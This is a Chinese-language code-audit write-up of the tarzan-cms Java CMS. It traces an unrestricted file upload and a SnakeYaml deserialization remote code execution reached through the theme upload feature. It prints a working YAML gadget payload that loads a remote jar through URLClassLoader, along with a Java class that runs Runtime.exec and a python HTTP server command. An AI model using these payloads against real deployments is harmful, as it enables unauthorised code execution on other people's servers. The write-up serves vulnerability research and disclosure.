Java代码审计-泰山CMS(tarzancms)审计
一次对Java开源系统的代码审计
前言
今天审计一下这套系统,尝试一下独自代码审计
首发先知社区,转载请标注原出处
环境搭建
CMS地址:https://gitee.com/taisan/tarzan-cms
根据readme给出的架构,我们使用如下环境:
IDEA2024.4
JDK1.8
Mysql8
MySql导入
新建一个库,导入下图的sql文件
顺序:schema-mysql.sql-->data.sql
IDEA设置
设置项目SDK为JDK8
在
src/main/resources/application-prod.yml处设置JDBC链接
启动CmsApplication,
这样就搭建好了
代码审计
任意文件上传
进入后台后第一眼就看到了这有个上传,开着burp先随便传个图片
可以看到路由如上,IDEA按两下Shift全局搜
这样就找到了这个功能点的代码
@ResponseBody
@PostMapping("/upload")
public UploadResponse upload(@RequestParam(value = "file", required = false) MultipartFile file) {
return ossService.upload(file);
}可以看到直接从@RequestParam里获取了数据,然后给ossService.upload处理了,我们跟进这个方法
@SneakyThrows
public UploadResponse upload(MultipartFile file) {
if (file == null || file.isEmpty()) {
throw new UploadFileNotFoundException(UploadResponse.ErrorEnum.FILE_NOT_FOUND.msg);
} // 如果文件为空,抛出异常
String originalFilename = file.getOriginalFilename();
String suffix = originalFilename.substring(originalFilename.lastIndexOf('.')).toLowerCase();
String value = sysConfigService.selectAll().get(SysConfigKey.CLOUD_STORAGE_CONFIG.getValue());
value=value.replaceAll("\\\\","");
CloudStorageConfigVo cloudStorageConfig = JSON.parseObject(value, CloudStorageConfigVo.class);
String md5 = MD5Util.getMessageDigest(file.getBytes());
String dir;
String filePath;
String domain;
String url = null;
ResponseVo<?> responseVo;
switch (cloudStorageConfig.getType()) {
case CoreConst.UPLOAD_TYPE_QINIUYUN:
domain = cloudStorageConfig.getQiniuDomain();
dir = cloudStorageConfig.getQiniuPrefix();
filePath = String.format("%1$s/%2$s%3$s", dir, md5, suffix);
responseVo = QiNiuYunUtil.uploadFile(cloudStorageConfig, filePath, file.getBytes());
url = String.format("%1$s/%2$s", domain, filePath);
break;
case CoreConst.UPLOAD_TYPE_ALIYUN:
domain = cloudStorageConfig.getAliyunDomain();
dir = cloudStorageConfig.getAliyunPrefix();
filePath = String.format("%1$s/%2$s%3$s", dir, md5, suffix);
responseVo = AliYunUtil.uploadFile(cloudStorageConfig, filePath, file.getBytes());
url = String.format("%1$s/%2$s", domain, filePath);
break;
case CoreConst.UPLOAD_TYPE_LOCAL:
String relativePath = FileUploadUtil.uploadLocal(file, fileUploadProperties.getUploadFolder());
String accessPrefixUrl = fileUploadProperties.getAccessPrefixUrl();
if (!StringUtils.endsWith(accessPrefixUrl, "/")) {
accessPrefixUrl += '/';
}
url = accessPrefixUrl + relativePath;
responseVo = ResultUtil.success();
break;
default:
responseVo = ResultUtil.error("未配置云存储类型");
}代码如上,文件仅判断了文件是否为空,就进入到了Switch语句里,switch是根据用户的选择来进行上传,这套系统默认选择的是本地上传,所以我们跟进CoreConst.UPLOAD_TYPE_LOCAL分支去看看
String relativePath = FileUploadUtil.uploadLocal(file, fileUploadProperties.getUploadFolder());
跟进FileUploadUtil.uploadLocal
public String uploadLocal(MultipartFile mf, String uploadPath) {
String res = "";
try {
String fileName = null;
String nowdayStr = new SimpleDateFormat("yyyyMMdd").format(new Date());
String uploadFullPath = uploadPath + File.separator + nowdayStr + File.separator;
File fileDir = new File(uploadFullPath);
// 创建文件根目录
if (!fileDir.exists() && !fileDir.mkdirs()) {
log.error("创建文件夹失败: {}", uploadFullPath);
return null;
}
// 获取文件名
String orgName = mf.getOriginalFilename();
fileName = orgName.substring(0, orgName.lastIndexOf('.')) + '_' + System.currentTimeMillis() + orgName.substring(orgName.indexOf('.'));
String savePath = fileDir.getPath() + File.separator + fileName;
File savefile = new File(savePath);
FileCopyUtils.copy(mf.getBytes(), savefile);
res = nowdayStr + File.separator + fileName;
if (res.contains("\\")) {
res = PATTERN.matcher(res).replaceAll(Matcher.quoteReplacement("/"));
}
} catch (IOException e) {
log.error(e.getMessage(), e);
}
return res;
}这下可以确定了,妥妥的任意文件上传漏洞
文件上传复现
前端直接传jsp会被拦截,不用管,把文件名改为png,到burp在改回来
成功!
RCE
这个洞是另一个师傅挖的,他提的ISSUE链接:
https://gitee.com/taisan/tarzan-cms/issues/IBHZ0J
漏洞在主题管理处
直接看代码
src/main/java/com/tarzan/cms/modules/admin/controller/biz/ThemeController.java
@ResponseBody
@PostMapping("/upload")
public ResponseVo upload(@RequestParam(value = "file", required = false) MultipartFile file) {
return themeService.upload(file);
}第34-38行,把上传的文件直接传进themeService.upload(file);,以刚刚的经验来看,应该是不会做处理的
跟进:
继续跟进
@CacheEvict(value = "theme", allEntries = true)
public ResponseVo upload(byte[] bytes) {
try {
// 获取文件名
String themeName = getZipThemeName(new ByteArrayInputStream(bytes));
if(StringUtil.isEmpty(themeName)){
return ResultUtil.error("主题模板解析异常");
}
String themePath = cmsProperties.getThemeDir() + File.separator+themeName;
File themeDir = new File(themePath);
// 创建文件根目录
if (!themeDir.exists() && !themeDir.mkdirs()) {
return ResultUtil.error("创建文件夹失败");
}
if(!FileUtil.isEmpty(Paths.get(themePath))){
return ResultUtil.error("主题已安装");
}
FileUtil.unzip(bytes, Paths.get(themePath));
Optional<File> themeRoot= Arrays.stream(themeDir.listFiles()).findFirst();
FileUtil.copyFolder(Paths.get(themeRoot.get().getPath()),Paths.get(themePath));
FileUtil.deleteFolder(Paths.get(themeRoot.get().getPath()));
Theme theme=new Theme();
theme.setName(themeName);
theme.setImg("theme"+ File.separator+themeName+File.separator+"screenshot.png");
theme.setStatus(0);
save(theme);
} catch (IOException e) {
return ResultUtil.error(e.getMessage());
}
return ResultUtil.success();
}来到了最终的方法,果不其然,没有做任何处理,解压后获取文件名,看看这个解压工具方法的代码
因为用到了Yaml,跟进去发现是SnakeYam
SnakeYaml全版本都可被反序列化漏洞利用,具体原理可以参考如下文章:
RCE复现
创建一个yaml文件,名称为theme.yaml
name: "先知社区"
name2: !!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [
!!java.net.URL ["http://localhost:8080/xzsq.jar"]
]
]构造如上文件
当 YAML 解析器处理这段代码时,会按照以下步骤进行
- 创建 URL 对象: 首先,会创建一个 java.net.URL 对象,指向攻击者指定的远程 JAR 文件 URL (http://localhost:8080/xzsq.jar)。
- 创建 URLClassLoader 对象: 接着,会创建一个 java.net.URLClassLoader 对象,并将上一步创建的 URL 对象作为其构造函数的参数。这意味着这个 URLClassLoader 将能够从指定的 URL 下载和加载类。
- 创建 ScriptEngineManager 对象: 最后,会创建一个 javax.script.ScriptEngineManager 对象,并将创建的 URLClassLoader 对象作为其构造函数的参数(或者通过其他方式与 URLClassLoader 关联,具体取决于 YAML 库的实现和 Gadget Chain)。
接下来我们构建一个payload,
public class xzsq {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}直接用Maven打包为jar包,命名为xzsq.jar
本地用python起一个http服务
python -m http.server 8080把theme.yaml压缩为theme.zip后上传:
可以看到成功执行了,python 服务器接收到了反应,但没有执行calc,可能是我代码写的有问题
使用这个Payload编译可成功执行:https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java
总结
还是要多上手实战审计项目的,迈开第一步总是艰难的,但是只要走了第一步后面就好走了。过两天跟一下SnakeYaml反序列化链子,具体学习一下